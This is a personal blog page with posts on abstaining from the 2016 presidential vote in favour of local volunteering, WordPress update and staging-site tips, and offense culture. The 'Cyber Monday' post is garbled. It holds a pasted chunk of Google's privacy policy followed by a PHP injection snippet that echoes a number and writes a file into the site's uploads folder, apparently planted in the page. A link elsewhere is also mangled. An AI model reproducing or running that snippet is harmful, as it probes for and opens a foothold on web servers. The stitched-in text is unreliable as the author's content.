Several Things I am Doing Instead of Voting for President.

Forefathers. Democracy. Republic. Trump. Clinton. I really don’t want to discuss it online. Here’s what I’m doing instead.

Last night’s debates sealed it for me. I’m (at best) writing in a candidate. In the paraphrased words of Martin Luther, it’s not right or safe to let your conscience down.

Before you try to convince me otherwise: I’d love to get coffee with you and talk about my reasons for abstaining, but that’s not what this post is about.

If you think our culture is spinning out of control, (or about to if X candidate wins in November), there’s functionally very little you can do about it. Here are your options, as I see them:

  1. You can freak out, and head to Facebook with pleas for people to change their minds. (I don’t know anybody who changed their mind after the debate last night. Do you?)
  2. You can hunker down, buy a ton of canned goods, munitions, and water bottles in preparation for armageddon.
  3. You can start today creating culture in your little pocket of this world. Make a list of things that matter, and do one today.

Spoiler alert: I’m doing #3.

Here’s some ways I’m voting with my feet and hands (since I can’t vote with a ballot in good conscience this year):

Public Schools

Both of my children started at Wake County Public School this year (one kindergartener and one 3rd grader who has been homeschooled for the past two years), and I am going to be helping out in their public school.

Every hour that I can donate to helping in a classroom or on a field trip is an hour that the school system doesn’t have to bleed out of our already-underpaid teachers and staff. (As an aside, if you’d care to debate this, I’ll need you to go spend a day doing a 1st grade teacher’s job and then take a peek at their paystub. From there, we can debate.)

In fact, I’m starting this tomorrow: I’m helping out at picture day at the boys’ school. I’ll be wrangling children and buttoning top buttons and helping kids to smile. My children have called me “silly enough” to be helpful in this area.

Other ways you can help at public schools:

  • Give money. The PTA at your kids school (or the one they used to go to) could use your help getting funding to make things happen. Things that have a quantifiable end goal: helping kids succeed in life.
  • Ask the principal how you can help. They will have a list prepared to hand to you, if they are prepared.

If you are trying to change the culture at your child’s school (who knows?) maybe that will trickle up to school boards and other civic institutions, and with any luck, the people in Washington who have forgotten how to represent us will take note.

Local Government

Here’s the thing: am I passionate about the Supreme Court, and issues that affect the country my kids are growing up in? Absolutely. Do I have any real functional power to affect change on the Supreme Court nominees?

Probably not.

You know what I can impact?

  • I can help the Town of Cary be more welcoming to the hundreds (thousands?) of refugees being sent our way.
  • I can lobby town council to put in a crosswalk at my kid’s school. (Reedy Creek Elementary/Middle, if you’re reading this, Town Council)
  • I can be a part of town meetings where plans are discussed, and adopted.
  • I can teach my kids not to litter, and explain to them that the town of Cary pays people to walk the 30 miles of greenways picking up litter. When they throw down a piece of trash, they are costing our city money.
  • I can volunteer at my public library to tutor kids, or teach a class on web development, or WordPress.

Your options, Again

You've really only got two option when it comes to social involvement Click To TweetYou can panic, blame, point fingers, detach from the process, write angry online diatribes, vilify the other team and gloss over the mistakes of your own team (or lack of team), or any other number of things.

If you need me, I’ll be wiping the crumbs off of an elementary school kid’s chin tomorrow morning so that he can look good in a picture.

Update Your Site To WordPress 4.4, like a Pro.

I have moved this post and lots of other WordPress posts over to my new site at https://wpsteward.com, where I will continue publishing helpful tips for website owners going forward.
image of a conductor on a train performing maintenance
Let a pro handle updates. They aren’t in a hurry, though. Creative Commons Image Attribution

Last week I watched live as the WordPress core developers rushed down to the wire to release version 4.4. It was the first release that I’ve been around to watch be pushed live, and it was really fun.

I make my money on keeping people’s WordPress installs up to date and backed up, but I didn’t rush out to upgrade all client sites immediately.

Read the rest of this post over at the brand-new WP Steward Blog

Cyber Monday and The Freelancer’s Dilemma

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account.
There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy.
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[php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/php]

Beginner Mistakes in WordPress: not using a Staging Site.

I have moved this post and lots of other WordPress posts over to my new site at https://wpsteward.com, where I will continue publishing helpful tips for website owners going forward.

Easily a top-ten mistake I see beginner WordPress users making is updating plugins, themes, and other code on the live site. Updating your code on the live site, without checking to see if it’s going to break stuff, is what developers call “Cowboy Coding,” and it’s an epidemic among beginners.

If you update it on the live site, and it breaks things, what are you going to do?

I’ll answer that: you’re going to have a broken website, and a painful day of getting things back like they were.

jesse petersen please tell me you didn't just cowboy code.
Not a developer? You have an excuse. Developers should immediately take <a href="http://wpworkflow read review.co” target=”_blank”>this course from my friend Jesse and stop cowboy coding forever.

“But wait,” you say! “How can we update the plugin on a live site without clicking ‘update’?!?!”

Read the rest of this post over at the brand-new WP Steward Blog

Something that Always Offends Me Just When I Need It.

standing up to offense-culture.
Perhaps a prioritized list is in order?
The current internet user is offended by something about every 15 minutes. Quick, go scroll through your Facebook profile and count how many people are ranting about something. I’m not above it. I find myself offended by something pretty regularly.

I have a proposal: next time you are tempted to be offended by something, try instead to focus on you. If you’re anything like me, there is plenty to be offended by without having to leave the confines of your own mind. Like a Pharisee dragging a woman caught in adultery into the town square, I’m often way too fixated on the problem outside of me.

My favorite part of that story (it’s in John 8:1-11 in the Bible in case you aren’t familiar) is that Jesus starts writing with his finger in the ground, and the oldest pick up on it first, and wisely leave.

Next time you're about to contribute to the 'I'm offended' chorus, first, use this filter. Click To TweetI’d love to know what he wrote there, but I’d imagine it was an “encouragement” toward introspection. Whatever it was, it made the accusation of caught-in-the-act adultery seem un-prosecutable.

I’d be willing to bet that whatever it is you are offended by will look different in the white-hot light of your biggest current failure.

Before you contribute to the noise about what that politician said, or what that celebrity didn’t say in that interview, or how those people are getting offended by the wrong offensive thing, perhaps take a step back. If you legitimately can’t find anything in your own life about which to be offended (which is a red flag that you need a wise third-party to weigh in), then by all means throw some rocks.

The rest of us will be working on ourselves. I personally have about enough to be offended by for the next 30 years or so, just working through my own backlog.